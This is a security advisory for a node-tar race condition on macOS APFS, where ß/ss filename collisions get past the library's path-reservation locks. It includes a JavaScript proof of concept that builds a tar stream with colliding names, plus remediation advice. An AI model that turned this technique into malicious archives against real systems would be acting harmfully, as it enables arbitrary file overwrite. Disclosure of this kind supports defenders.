CVE-2026-23950: node-tar has Race Condition in Path Reservations via Unicode Ligature Collisions on macOS APFS

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.

typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() })

In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:

bash bash-3.2$ printf "CONTENTSS\n" > collisiontestss bash-3.2$ ls collisiontestss bash-3.2$ printf "CONTENTESSZETT\n" > collisiontestß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collisiontestss bash-3.2$

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PoC

javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream');

const exploitDir = path.resolve('raceexploitdir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir);

console.log('[] Testing...'); console.log([] Extraction target: ${exploitDir});

// Construct stream const stream = new PassThrough();

const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000);

// Key 1: "fss" const header1 = new tar.Header({ path: 'collisionss', mode: 0o644, size: contentA.length, }); header1.encode();

// Key 2: "fß" const header2 = new tar.Header({ path: 'collisionß', mode: 0o644, size: contentB.length, }); header2.encode();

// Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End stream.write(Buffer.alloc(1024)); stream.end();

// Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 });

stream.pipe(extract);

extract.on('end', () => { console.log('[] Extraction complete');

// Check what exists const files = fs.readdirSync(exploitDir); console.log('[] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})); });

if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[] GOOD'); } else { console.log('[-] No collision'); } });

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Impact This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

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Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

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